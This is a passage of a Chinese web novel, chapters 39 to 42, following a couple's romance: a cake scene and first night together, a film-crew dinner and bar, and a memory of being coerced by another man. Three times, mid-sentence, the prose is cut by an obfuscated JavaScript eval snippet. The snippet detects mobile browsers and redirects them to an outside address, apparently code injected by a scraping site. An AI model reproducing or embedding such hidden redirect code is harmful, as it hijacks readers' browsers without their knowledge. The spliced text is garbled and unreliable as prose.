凯思支着下巴讲:“这个像是大家闺秀,好像同翁总家里的长辈认识。不过我还是投现女友一票,我觉得他俩气质特别搭。都是那种可远观而不可亵玩的类型。晴晴,你说呢?” 于晴晴敲上最后一个字,将文件发送出去。“不知道。反正都和我们没关系。不过他这种身份,不会随便找个对象结婚吧,肯定要门当户对的。” “也是。”凯思点点头。“那还是这位程小姐胜算高点。” 于晴晴笑道:“八字还没一撇,这是翁总的事,你倒给他算上了。” 凯思也笑。“我是见那程小姐对他很有意思。” 这时翁乐仪走出来,几人立刻噤声。 他走到凯思边上说:“你今天说的那家很好吃的蛋糕店在哪里?方便订单吗?” “她水果都挺喜欢的......榴莲不要。” “现在是草莓季,草莓很新鲜,搭配奶油又好看。”凯思建议道。 “好的,麻烦帮我订一只。我现在去开会,大概6点结束,请在之前送过来。” 他看一眼手表,于晴晴收拾好文件资料,跟在他后面离开。 凯思啧啧两声,对陆芳小声道:“看样子还是卓小姐胜出概率大。” 翁乐仪回到家里,卓繁星正坐在地毯上,趴着一字马。这是常规操作,她时不时要松一下筋骨。 “蛋糕?”卓繁星惊喜地看着他。 翁乐仪说:“拜托凯思订的,她说这家很好吃。” “脚好点了吗?”他脱下大衣,走近。 卓繁星坐起来说:“还有点肿,就是不好用力。” “医生说至少半个月。” “我知道了。”她瞪了他一眼,她今天给何安琪打电话的时候,她已经很崩溃了。卓繁星在这一点上倒不是那么喜欢宅家的人,她觉得工作给她一种踏实感。 还有一点就是,或许翁乐仪的家对她来讲还是稍显陌生,她在自己租的房子里会更自在一点。 想到白天邵丽丽的调侃,她如今倒是班味十足。若是以前,说什么也要过来参观一下。可是如今,只逗了卓繁星几句,就说:“我太累了,找个跑腿给你送过去吧。” “蕾丝三件套要不要?” “哎,肯定要啊,我就多余问。我再给你附赠一盒避孕套,我上次囤的,感觉还行吧......翁总应该是大号吧。我只有大号,先凑活着用吧.......不过我估计他肯定有买,男人的心思,啧啧......” 卓繁星被她说的小脸通红。 翁乐仪洗完澡出来,看见在卓繁星在房间。 “蛋糕好吃吗?” 卓繁星心虚地把蕾丝三件套往柜子深处再塞了塞。“还没吃,等你一起吃。” 翁乐仪穿了一件浴袍,脖子上搭着一块毛巾,时不时拿起来擦一下头发。湿发状态下小小的卷毛更明显了,几缕发丝落在眼睛跟前,瞧着比平常年轻许多。 卓繁星将蛋糕拿出来,直接拿叉子挖着吃。 “味道怎么样?” “还行。草莓有点酸。”她挖了一勺给他,还贴心地带上一颗草莓。 “晚饭呢?” 翁乐仪说:“你想吃什么?” 卓繁星转了一下眼珠,实在想不出来。“好像没有特别想吃的。” 她叼着叉子,翁乐仪突然手伸过来,在她唇角抹了一下,然后就把手指上的奶油吃进嘴里。 卓繁星脸红红的,其实这是个很自然的动作,可是耐不住她心黄黄。都怪邵丽丽。 “干嘛勾引我?”她决定恶人先告状。 虽然控诉的声音很轻,但翁乐仪还是听见了。 他不明白的嗯?了一声,然后就被卓繁星又喂了一口蛋糕。 她圆圆的眼睛里都是大胆,在他吃下去的档口,撑着他的膝盖坐起来,在他唇角舔了一下。 啊,好像恋人嘴边的奶油是要更甜一些。 翁乐仪托住她半张脸,一下就亲了上来。 这时候也不必再去纠结谁勾引谁了。 沙发又大又柔软,卓繁星今天体验了很久,知道这只奶油色的沙发有多舒服。 当然,翁乐仪身上很硬,绝比不过它。可谁叫他穿着浴袍,脸被洗的干干净净,像明净的山水。湿润的头发带着海盐柠檬味道的水汽,令卓繁星想到海边、沙滩。 而在翁乐仪眼中,身上的人则是一块奶油蛋糕。同他刚刚吃过的那只有异曲同工之妙。他们是甜的、酸的、融合着轻微的果香,是不论味蕾还是嗅觉都令人喜欢的存在。 他不喜欢吃太多的奶油,可奶油蛋糕要是没有奶油,更加不行。 她就是他尝过的第一口奶油——总是带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067343|195168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着惊喜与期待。 眼见着奶油快要化了,翁乐仪压住她,卓繁星一哆嗦,按住他的手。 耳边的喘息声很大,翁乐仪起身将她一并扶起来。 “晚饭吃什么?”他这样问。 “我不是很饿。” “我也不饿。” “这个蛋糕够我们两个吃吗?”她眨眨眼,翁乐仪不自在地动了下身体,说:“应该够吧。” 卓繁星惦记着柜子里的三件套,刚才的刹车有一部分是害羞,还有一部分很大的原因就是还没用上它们。 她看一眼电脑前的人,钻进了浴室。 翁乐仪确实觉得有些难熬,可刚才确实不是好的时候。 他看着手机,手指在计生用品上来回划过,是不是该买一些备着。 程知遇发来一条微信,表示感谢,并想请他吃饭。 翁乐仪觉得不必要这样客气,回道:【这对众鑫也是好的宣传,招待不周,还望见谅。】 他自是不知对面是如何的愁肠百结,自己看定了便着手下单。 卓繁星在浴室里换上真丝睡裙,裙长及膝,布料自然地垂下,正面看还好,背面一个大的弧度,将后背裸露。 她鬼使神差地看了一会儿,镜子里的人骨肉匀称,头发湿漉漉的,同他一样,没有选择吹干,而是拿了一条毛巾。 卓繁星穿了翁乐仪的浴袍,有些大。腰带将腰肢系的纤细,宽大而松垂的浴袍让她有种被包裹的感觉。 因为湿发,翁乐仪看见她一下就想到了淋雨的小猫。在洪家别墅碰见时,他就是这样想的。 “为什么不吹头发?”她坐在他跟前的地毯上,翁乐仪拿着毛巾给她擦头发。 卓繁星心虚胆怯,还有些隐隐的期待。这让她比平时沉默多了。 翁乐仪不知道发现了没,还是也另有心思,总之只是默默给她擦着头发。 两人身上都是一样的味道,或许还要加一些草莓蛋糕的香气——一种淡淡的奶香与果子的清甜。在卓繁星咬了一口草莓尖尖的时候,更明显了。第一个将草莓与那些恋爱的感觉联系在一起的人一定是个天才。 “要喝酒吗?”翁乐仪终于打破了沉默。 “你调的吗?我要喝Luna点的那杯。” “莫吉托。可以。”他淡淡道,起身往厨房去。 卓繁星悄悄松了口气,忍不住往衣领里看了看。 这时门铃响了。“你点了什么外卖吗?”卓繁星往门口去,那里的视频界面显示有个外卖员在外面。 “......是,我来。”翁乐仪显得有些奇怪。 卓繁星快他一步,已经拿着袋子进来了。 啊哦,她抬头看了他一眼。 翁乐仪折返回去。 卓繁星饮了一口杯里的酒,可心思早不在它身上,抱着酒杯眼珠乱转。 翁乐仪喝的是白葡萄酒,他拿着酒杯,浅抿一口,十分慢条斯理。 卓繁星还没察觉到危险,不知道自己或许已经从可怜小猫变成了猎物。 她垂下的睫毛可怜又无辜,轻轻颤了颤,像是蝴蝶扇动的翅膀。酒液将她的嘴唇涂亮,还有半湿的头发,披散下来,落到锁骨上。宽松的浴袍不知何时张开了领口,一条细细的带子绕在她的肩上。 翁乐仪又喝了一口酒,在一瞬间,吻便落了下来,落在那条细带子上。 浴袍上的腰带完全松开,她穿在里面的秘密暴露无疑。 翁乐仪笑了一声,卓繁星羞恼道:“你才是黄黄的坏蛋。” 翁乐仪抱住她,将她纤细的身子整个嵌在怀中。 卓繁星啊,总是给他惊喜。 40. 第 40 章 如果邵丽丽再问她翁乐仪是不是床上床下两种样子,卓繁星想她会回答是的。 现在,卓繁星红着脸,和他一起泡在浴缸里。 新鲜的体验还未完全散去,身体变得惫懒,精神却又莫名其妙的活跃。 卓繁星将额头贴在他下巴上,难得的思考起来。或许这也是某种贤者模式吧。 初体验对于卓繁星来说,其实还是会有些疼。 可关键在于又不是不能忍受的那种,涨的感觉更多,第一次稀里糊涂,她都要把自己缩起来了,可是他显然不满意。 男人的好胜心啊。就是翁乐仪也不能免俗。 这人温柔的外表下,做起事来却带股狠劲。后来那次把她按在沙发上,不管不顾地使劲。不就笑了他两声,心眼跟芝麻一样小。 翁乐仪亲了亲她额头说:“出去吃点东西。” “我不饿呀。”卓繁星懒洋洋的,腰还酸着,她不明白为什么这时候还要出门。 食色性也,莫怪是人生顶重要的两件事了。 如今翁乐仪在一件事上满足了,或许正是因为这件事,让他卡路里消耗太多,急需补充能量。 哎,卓繁星想,他好像又俗了点,一点不似小说里的男主。 “去吧。”某人意外地坚持。 卓繁星坐上车,已经近十点。翁乐仪所住的公寓就在市中心,街景没有那么寂寥,开过的街市仍很热闹。 她不知道他到底要吃什么,只是见着开过了许多饭店,亦或是路边摊,仍不见他停下。 终于,翁乐仪停车的时候,卓繁星打了个哈欠,闭着眼睛问:“到了吗?” 她感觉自己是被采阴补阳了。 他伸手在她红扑扑的脸上贴了一下,声音很温柔。“我下去就好,你不用下来了。” “噢。”说是这样说,可她还是张开眼睛。 翁乐仪从花店出来,就看见她站在车旁的路灯下。 粉色的围巾裹住半张脸,头发有些凌乱,因为困倦更深的双眼皮,下面的眼睛定定地望着他。 她踢着脚下的地砖,说:“好过分。” “什么?”他没来得及听清,走过来说:“不是说别下车。” 卓繁星看着他手上粉色的波斯菊,像一大捧幻梦,叫人情怯,生怕一不小心就将它惊散了。 面前的男人,一时与多年前的少年重合。其实在她心中,他一直介于男人与男孩儿之间,那个男孩子是让她心动的人,如今他们刚刚拥有了彼此,她认识到他是一个男人,会令她痛苦又沉醉的人。可他身上总有些特质没有改变,叫她时常恍然怪不得她会喜欢他。 从几个月前在医院遇见时,他关注到她胃痛,给她点的那杯热饮时,就这样了。 真的好犯规。好有心机啊。 她抱着那束花想:如果时光能够停留在这一刻,好像也没有什么不好。 次日,卓繁星果然遭受了狂轰乱炸。 她只是发了一束花的照片。 灵均:【是谁?!!!】 邵丽丽:【啧啧,恋爱的酸臭味。嫌弃.jpg.不过翁总审美很好啊,花很漂亮。】 潘潘:【是我想的那样吗?!!小猫八卦.jpg】 闺蜜群里,小苑率先发现,佟笑一脸懵逼,看了朋友圈后回来就淡定发言:【我好像知道是谁了。】 小苑:【是谁?!是谁?!】 佟笑;【点烟.jpg】 她看着翁乐仪同款朋友圈,露出了了然的微笑。【我就知道你俩有奸情。狗头。@繁星】 卓繁星讪讪,打开翁乐仪的朋友圈,这人怎么也发了一模一样的图片。 可是真的很幸福啊。 她趴在床上,打开窗帘,阳光下的波斯菊更加漂亮了。每一朵花瓣在太阳下舒展,像是阳光在上面跳舞一样,她好像真的看见一个穿着裙子的少女,在上面翩翩起舞。 她拍了照发给翁乐仪。 正在开会的某人,点开后会心一笑。 做展示的员工稍有迟疑,讲话都磕巴了一下。 卓繁星很快也收到了何安琪的微信:【趁机恋爱是吧。好好好,告诉我还要几天?崩溃大哭。】 【还有件事,我这边有个人联系我说是选角导演,倪玉城你知道吧,他那边好像有个电影要拍,上次你跳舞的视频他们看见了,可能有想法吧。】 卓繁星蹙了蹙眉,没想到还会有这种事,打字过去。【我不感兴趣,帮我推了吧。】 何安琪很快发过来:【其实是个机会,不用这么快拒绝,你可以再了解一下。】 卓繁星很坚定。【不用了,我现在工作挺满的。你再帮我介绍几个富婆就好了。】 【陈婷那种?你要不是带着她女儿去看舞剧,能把腿摔了?】 何安琪不太明白她。现在都是流量社会,网上多少漂亮男女为了引流上恋综,不是一个道理吗。流量就是钱,她也不是不想赚钱的呀。现在有电影选角看过来,她不明白她为什么不愿意尝试。 或许就是性格如此吧。不过若不是这样的性格,当初又怎么会留下来呢。 她想通了便不再劝她,只让她好好养病,陈女士那里她会尽量协调。 陈女士那边到底没说什么,卓繁星同她请假她也很快答应,甚至说可以多休息几天。工作室那边倒是有些忙碌,因为刚好有圣诞的汇演,这事关明年的续课。往年都是这个时候把家长聚集过来,然后搞活动现场付钱。 还有就是市里小学的音乐老师会有一些帮忙排舞的需求,因为许多学校会有元旦晚会。 卓繁星呆了两天后,实在是坐不住,同翁乐仪商量一定要去上班。 翁乐仪说:“我会安排一个司机接送。” “会不会太麻烦了?”卓繁星觉得有些夸张,其实她现在已经能下地了,只是上下楼梯时会有些刺痛。 “我坚持这样。”翁乐仪在这一点上很不好说话,卓繁星无奈只有答应。 好在地下车库有电梯可以直通工作室,卓繁星每次都要求司机在那里把她放下,他们配合的非常好。 这之后,卓繁星与翁乐仪几乎同居一般。 卓繁星在清晨会送他上班,从第一次见到他裸体的害羞,到后来习以为常。ps.翁乐仪的屁股真的很翘。 卓繁星还尝试了他的萨克斯。在那个降温的天,她被他抱在怀里,教她怎么吹。魔音灌耳,最后连他也没了耐心。卓繁星觉得男人。他在她要求下吹了两首便不肯吹了,亲吻都没用。 卓繁星看着快速消耗的避孕套,虽然某人不能一夜七次,可一周七次还是很简单的呀。 纵欲伤身,她晚上就给他炖了莲子雪梨汤,下下火气。 总之,实在是梦一般的日子。这间公寓成了他们的乐园。卓繁星习惯了同他一起在爱爱后泡澡,喝着酒,听着舒缓的音乐。 这日晚上,翁乐仪来接她一起去参加聚会。 “是京市来的摄制组,现在工作结束了,公司出面要吃顿饭。”负责接待的人将安排报给了安杰,翁乐仪听后觉得当时来的时候他并没有出面,如今总要表示一下。 地点定在一家高档酒店,以海鲜闻名。Y市本就临海,多的是早晨装车的新鲜水产,运到市里后再配以厨师精湛的烹饪手法。不过顶级的食材,最简单的烹饪方法就已经足够了。 翁乐仪同卓繁星现身的时候,摄制组的人都已经到了,他们一行8人,大部分都是年轻人。只有李导演同程知遇见过翁乐仪,其余人只是听说。 当然照片还是见过的。当时他们开会时讨论过最好能采访一下本人,这也是为什么李导和程知遇会出现在翁乐仪办公室的原因。如今见到真人,的确可惜。 翁乐仪的穿着同平常没什么区别,只是今日去市里开会,外面穿了一件干部风的外套,非常之沉稳,与他平常相比多了一些人夫感。 卓繁星的头发一直没工夫去剪(或许就是懒),总之拖到现在。她把两边的头发在耳朵后面用一只鲨鱼夹夹住,米色的毛线内搭,下身是一条茧型长裙加黑色玛丽珍鞋。 李导说:“我猜卓小姐是老师吧。” 卓繁星稍显羞赧地点头。“算是吧。” 她同她身边的姑娘点头,这姑娘也看着她。从座次上就能看出,是仅此于李导的人物。她穿着一条贴身的灰色针织衫,脖子上一条珍珠项链与金属链条混搭,给整体的搭配增添了一丝细腻精致,又不失简单素雅。可以说是场中最漂亮的女士了,听说是出镜的主持人。 卓繁星是个I人,天生对这样的场合应对不来,好在她只要负责吃与听就好。 酒水的选择很丰富,卓繁星近来同翁乐仪一起在这方面算是长了不少见识,尤其体现在习惯了小酌一杯上。 霞多丽这类白葡萄酒她不感兴趣,反而对桃红这类葡萄酒跃跃欲试。 粉红色的液体倒在酒杯中看着非常梦幻,让她不由自主想到那夜的波斯菊,非常像的颜色。 尝到嘴里是一种浓郁的果香,入口甜美,酸度轻盈活泼。 翁乐仪注意到的时候她的眼睛都亮晶晶的,水润动人。 “少喝点。”他将她那只空杯子挪开,唤服务员拿一杯温牛奶。 卓繁星自己贴了贴脸,也知道不好再喝。 饭桌上多是讨论一些拍摄的内容,导演从哪里哪里获得了灵感。尤其讲到采访一位老资历工程师的时候,还提到了当年是怎么跟随翁爷爷做技术的。 “那时候大家都说做不了的,结果翁老一定要做,如果我们只是跟在外国人屁股后面,那么就永远抬不起头。” “就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067344|195168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这种精神。”李导感叹道:“让我很受触动。” “我听闻翁老现在生活还是很朴素。” 翁乐仪说:“老一辈的人都是这样。” “不知可否有幸采访一下他?” 翁乐仪思忖片刻道:“我会帮您传达,不过老人家近来身体不太好,喜欢安静。” “明白,明白。” 快结束的时候,不知谁提起来拍照留念,后来又发展成单独和翁乐仪拍。翁乐仪不好拒绝,卓繁星笑着走开给他们挪位置。 有一个男生估计是玩乐队的,听过翁乐仪的名字,提起来。后来干脆说去附近的酒吧坐坐。 如今任务结束了,大家都比较轻松,又是一群年轻人,自然起哄起来要去。 到了酒吧,气氛俨然不同。方才在饭桌上不敢问的,也敢问了。 卓繁星被问到是怎么同翁乐仪认识的。 她看着身边的翁乐仪,正好他也看着她,两个人不知想到了什么相视一笑。 “是在Y市认识的吗?”程知遇问。 翁乐仪说:“我们是初中同学。” “果然!”一年轻小姑娘握爪。“好男人在校园里就被刮分干净了,绝对不可能流到市场中来。” “那你们是在学校里就谈恋爱了?是彼此的初恋?” 翁乐仪顿了下,摇头。“后来才谈的。” 他们又看向安静的卓繁星。 “卓小姐话好少呀。” 卓繁星尴尬笑笑,手在他手心里悄悄挠了挠,被一下攥紧。 她在他眼神里读懂了些意思:他生气了,因为那个初恋的问题。 她福至心灵,凑过去问他:“我是你的初恋吗?翁乐仪。” 翁乐仪漂亮的嘴唇抿了抿说:“我希望不是。” 卓繁星立刻听见了自己心花怒放的声音,要不是这里这么多人在,她肯定要亲他。 她把手伸到他指缝里,与他紧紧相扣。 翁乐仪似乎明白了什么,睇她一眼,唇角微翘,勾出一个浅浅的笑,然后把她的手举起来亲了一下,像羽毛一样扫过她的手背。 台上的女歌手唱着一首激烈的摇滚乐,许多人在舞台下举着啤酒欢呼跳跃。卓繁星也很激动,被那样的气氛感染,又因为饮了些酒,更容易被带动。 在结束后,女歌手问有没有客人想上台演出。 卓繁星有些兴奋地看着翁乐仪,他正举着啤酒瓶喝酒,微微仰起头露出干净利落的下颌线,喉结小幅度地动了下,睨过来一眼,表示不行。 可卓繁星实在想看呀。“这里!” 她甚至想听他唱那首歌。 认识他的那个小男生一样激动,表示可以伴奏。翁乐仪有些无奈地看着她,卓繁星摇着他手说:“我想听那首歌——” 程知遇今天一天都非常矜持优雅,看不出丝毫异样。可她知道自己为今晚的聚会怎样纠结裙子、精心化妆打扮。 她并非爱惨了翁乐仪,只是或许人与人之间本就存在天然的磁场。她第一眼见到他就被他吸引。或许这就是一见钟情吧。 她周遭自然不缺优秀的男士,可如他这样合她心意的还是极少。说来好笑,那天从蒋家回去时她还纠结过他的腿疾。好不容易下定决心,遵从内心,却不想他早有佳人。 他向来客气有礼,极有绅士气息,与他短暂的接触就是这样的感觉,今日算是见到了另一面。 原来面对喜欢的女孩子,可以这样的缠绵温柔。 她悄然叹出一口气。 看着他被簇拥着站到舞台上。 前奏轻快的响起,他站在麦克风后,微微撸起的袖子露出漂亮的手臂肌肉。她还是第一次见一个男人仅仅是这样的动作,就有一股性感的味道。 他唱道:“Iseethecrystalraindropsfall......” “Justthetwoofus.” “Justthetwoofus.” ...... 年轻的声音充满磁性,他一只手握着麦克风,深邃的目光专注地看着女友,在每一句“Justthetwoofus.”后。 这样的表演,在结束后自然获得了全场的欢呼与掌声。 卓小姐在他耳边说了什么,他眼睛望着她。一段激烈的架子鼓,女歌手的声音又卷土重来。 程知遇看着他们两个走出人群,很快,翁乐仪走过来同他们告辞。他拿起自己的外套,让他们务必尽兴,随后揽着女友消失在出口。 哎,程知遇听见自己叹了口气。 李导演同她碰杯道:“天涯何处无芳草。” 她轻轻一笑,只能如此了。 心动难得,不过或许很快那个能让她心动的人会再出现。谁知道呢。 41. 第 41 章 出了酒吧,有一种豁然开朗的感觉。 卓繁星有些兴奋地转了个圈,她走在前面,头发随着动作一并飞起,俏皮地又落回来。 翁乐仪欣赏了一阵去拉她。“你的脚还没好全。” “这么开心吗?”他感受到她雀跃的情绪。 卓繁星诚实地点头,然后扑到他怀里,紧紧抱住他。 “我现在觉得自己好幸福。”她的声音陷在他怀里,像是软糯的棉花糖。 翁乐仪被带笑,抱住怀里这个宝贝,嘴唇贴着她的发丝。 他们就这样安静拥抱了一会儿,在有些冷的夜里。 卓繁星或许是有点上头,她酒量一贯不好,刚刚吃饭的时候喝了一小杯,后来在酒吧又喝了半瓶啤酒。 她的话多起来。 “我第一次看你演出的时候,你就是唱的这首歌。不对,是另一个人唱,你吹萨克斯。” 翁乐仪稍显意外。 “我就知道你不记得了。” 她说:“就是Q大后街的酒吧,你演出结束之后,我在后门还碰见过你。” “那边出去就是个露天的篮球场,你在外面那个老年人器材上。”她说不出具体的名字,学给他看。“就是那种站上去,两条腿晃的。你就站在那个上面,接电话,抽烟。” “后来你转过头看见我了,吓了一跳,差点摔下来。”想到当时的场景,她噗呲笑出来。 “你记不记得?”卓繁星揪着他衣服说。“我没跟你说上话,酒吧里面有人出来找你,说什么音响坏了,喊你去修。” 翁乐仪失笑。“有吗?” “有啊。”卓繁星急道:“大一的时候。” “你那时候就那么关注我了。” 卓繁星说是啊。“我才不像你。”她怪委屈的。 “那你怎么还和凌洲表白。” 卓繁星一下呆住了,她愣愣地抬头,受惊地睁大眼。翁乐仪或许原先是随口说的,话赶话了,如今却认真起来。 “很难回答吗?”他尽量让自己的声音放柔和,不想显出责怪的样子。他不想让自己表现的像个怨妇,即便他的确对这件事耿耿于怀。 然而卓繁星始终没有给他一个答案。等待的时间太久了,让他后悔,本来是个很好的夜晚。 他们回到加家中,洗漱上床。 卓繁星脑中一时又闪过那个下午。 燥热的夏天,倪玉城的公寓,不,应该是蒋凌洲的公寓,倪玉城只是借住。 她被压在沙发上,蒋凌洲头发上的水珠不时落在她的脖子上,冷气太强,她起了鸡皮疙瘩。 他拨通了翁乐仪的电话,目光像猫看着抓住的老鼠——它们总是不急于吃,而是要玩耍一番。 “乐仪,卓繁星在我这儿,她有话要和你说。” “什么?”外放的声音稍显迟疑。 他看了一她一眼,唇角的弧度又勾了一下。“她说她喜欢......” 卓繁星像一个被电击的人,几乎是颤抖地喊出来:“我喜欢你!蒋凌洲,我喜欢你......”到后来更像一条脱水的鱼,张着嘴巴呼吸。 泪水不受控制地从眼角落下。 电话里的人说:“有病。” 蒋凌洲短促地笑了一声,挂断。 “我以为你会求救。卓繁星,你是不是脑子不好使。”他低下头有些恶意地指了指脑袋。 卓繁星不知道自己已经被吓呆了,或许是麻木了。在这通电话之后,她在翁乐仪心里肯定是个疯女人了。 她不知道他什么时候走开的,那个恶劣的声音远远地传过来。“卓繁星,还不起开?是打算我睡了你吗?” 这句话惊醒了她,她匆忙爬起来,眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067345|195168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泪干在脸上,眼眶酸胀。 她在楼下碰见了避出来抽烟的倪玉城。 “没谈好?”他热情的很,劝道:“Arthuer特地飞回来的,女孩子也别太作了。” “我和他没关系。” “哎。”他无所谓地看了她一眼。 卓繁星在地铁上就拉黑了倪玉城还有蒋凌洲的微信,所有剧组里的人都没有再联系过。在地铁里面她一直抱着自己,把帆布包抱在胸前,冷气太足了,直到出了地铁站被炙热的太阳一照,她才有活过来的感觉。 事后,卓繁星总不愿去回想。 很久以后她又碰见翁乐仪,那是他借钱为卓强治病的时候。她才会想一想,是啊,为什么不求救呢。 因为她怕。她就好像是圈套里的猎物,即便她说她与蒋凌洲无关,却能跳出好多人来说他们是情侣,高中的时候就在一起了。她的解释苍白无力,好像她绝不会不喜欢蒋凌洲,只有他甩了她,又浪子回头。 若翁乐仪也是这样想,或许他大概率不会这样想,他会去联系人,会帮她。可还是很难堪。 卓繁星转过身,从背后抱住翁乐仪,将额头抵在他背上。 她的手被握住,随后他转过来将她抱在怀里。她好像听见了很轻的一声叹息。 卓繁星想说她是爱他的,可这个字眼太过沉重,她怕吓坏了他。 翁乐仪握住她的手转过来,卓繁星的眼睛都是湿漉漉的。 他恐吓我,我没办法。她在心里这样讲。 “我喜欢你,翁乐仪。”她轻声地告诉他。“只喜欢你。” 翁乐仪并不满意这个答案,可是再不接受,她要哭了。 卓繁星抱住他,心头一酸。“我没有喜欢他。是他要缠着我。” 翁乐仪堵住她的嘴巴,其实他并不想听这些,有些打情骂俏的感觉。 42. 第 42 章 卓繁星醒来的时候屋里黑沉沉的,仿佛是夜里。她倒不会这样觉得,因为这一夜过的实在漫长。 她混乱的记忆里最近的还是翁乐仪要走,她巴着他不放,最后骗来一个吻,才勉勉强强睡下去。 而至于昨晚更是炸裂。 她当然可以归咎于酒喝多了,可酒品差也不是什么值得高兴的事。 卓繁星疲惫地眨了眨眼睛,干涩的眼眶提醒她昨夜流出了多少液体。身体全部陷在被子里。顾名思义,她的身体下面是被子,上面也是被子。至于床单...... 卓繁星坐起来。 脑海里闪过一个片段,翁乐仪试图换床单,可她根本不肯松开他。她不要被子,像不肯穿衣服的孩子。翁乐仪只能抱住她,强硬地让被子像睡袋一样裹着两个人。 翁乐仪回来的时候,卓繁星刚刚从烘干机里把那条洗干净的床单拿出来。 她穿着一条粉色棉质内裤,上身套了一件灰色的打底衫,短发还带着吹干的毛躁。 卓繁星没想到他会回来,有些古怪地看了他一眼,没说什么,匆匆跑回房间去套上裤子衣服。当时洗完澡出来,看见凌乱的床,第一反应就是把被单拆了拿去清洗。 今天的天也不好,阴沉沉的,时不时落点小雨。 卓繁星再出去,翁乐仪将买好的早饭放在桌上。 “你不是出差吗?” “下午的飞机。” 卓繁星愣了下,暗道自己脑子果然还是不清醒。洗衣机滚筒的声音一下又一下,轻微而又清晰地传递过来,成了餐桌上的背景音。 这顿早饭索然无味,卓繁星尚不知自己低落些什么,就好像看见外面的阴天,心情就更差了几分。然而这实在毫无道理。 翁乐仪将她送到工作室,分别的时候,卓繁星说那我走啦,就要开门下车。 翁乐仪抓住她的手,她有些疑惑地看他。 翁乐仪确实有些困惑,他能感觉到她莫名的低落。 “卓繁星。”他轻轻念出她的名字。 卓繁星不想折磨他,她只是觉得尴尬,为昨天晚上那个哭着黏着他的姑娘。她不该或者说不习惯把内心的自己展示出来,她向来很少去剖析自己。 而昨天那个人抱着他,缠着他,感情外露,毫不知遮掩。 她说:“我喜欢你。好喜欢你呀。” “你不喜欢我。” “你说我有病。” “你怎么能这样说我?” 活像个神经病。 卓繁星觉得这样的曝露让她有种当街裸奔的羞耻感,如果要做个比喻,就好比她同样拉着卓强说:“爸爸,你为什么不来接我回家。”每喊一声,精神上的羞耻感就更深一分。 说不定翁乐仪会觉得没什么,这只是恋人间的情趣。 不,卓繁星不想这样。 唯一庆幸地是没有说出那句:“我喜欢你好多好多年。”她会有种当痴汉的羞耻感。她甚至不确定他会觉得愉悦多一些还是惊悚多一些。 总之,都怪酒啦。 既然无法解释给他听,那只有让事情过去。 卓繁星倾身抱住他,说我会想你的,并告诉他这几天她要回租房住。毕竟多天未归,总是要打扫整理一下。 夜里她回到家,邵丽丽也在,她如今成了上班族,生活规律许多。她建议晚上吃火锅,两人点了些菜肉,就在家里烧着吃。 邵丽丽说起她自己的事——那些办公室里的狗屁倒灶的事——总是很富有讲述的技巧。卓繁星很佩服她这样的能力。 她说:“前两天,让我负责邮件的整理,然后叫我翻译,我会翻译什么,她怎么不干脆叫我直接上天。” “那你翻译了吗?”卓繁星靠在水池边问她。 邵丽丽洗着白菜一下笑出来。“怎么没翻译。我复制到微信里面,有自动翻译的。” “那种能用?” “当然不能了。反正我不管,我交给她,我怎么晓得她看都不看,心那么大。后来就被批评了呗。” “批评你?” “算吗?反正她被骂的更狠。那个老板,就是我跟你说的小矮个,把她叫到办公室骂了一通。噢,她还把我叫进去。老板怎么说你都不晓得。”她描述地绘声绘色。“她做什么的,你不清楚?你交给她来做。她拿多少工资,你拿多少?” “他看我的眼神像看一个智障。”邵丽丽不屑地嗤了一声,仿佛又回到那天办公室里的场景——男人穿一条黑色西装,板寸脑袋,浑身上下也就皮肤白一个优点,眼睛和他的嘴巴一样刻薄。 卓繁星问:“那你为什么不找洪旺帮忙?”他的外语水平应付这些肯定是小意思。 邵丽丽稍微愣了下。“我不喜欢他看我像白痴一样。”她现在看他仍有滤镜,知识分子的光环,可这也不代表她喜欢被鄙视。来自恋人的更加不堪。尤其洪旺还不会似那矮个老板一样表现直接,他或许是沉默许久,咂一下嘴,无奈地扬一扬眉毛,再屈尊降贵地发过来。 邵丽丽打断这些不愉快地联想,说:“你说我有没有必要学一下英语?” 卓繁星说:“为了工作吗?” 邵丽丽又卡顿了一下。“他们英文都说的很溜,还会有法语、日文。”她曾在送咖啡的时候,看见老板躺在吊床上讲法语。她听见了一句你好,后来知道他在法国念的书。 “有这样的想法就去做,学到自己身上总是没有坏处的。” 邵丽丽说:“好像是这样。不过我老是三分钟热度。” 她说起她妹妹。“她读书比我好。我圣诞那天想去看看她。” “那天是周六。” “是呀。我还没去过她学校呢。” “我还以为你会和洪旺一起过。” 邵丽丽说:“她好像谈恋爱了,我有点担心。” 卓繁星拍了一下锅里热气腾腾的食材,想发给翁乐仪,他在半个小时前发来问她晚饭吃了吗。 “繁星。”邵丽丽突然叫她,卓繁星疑惑地看她。 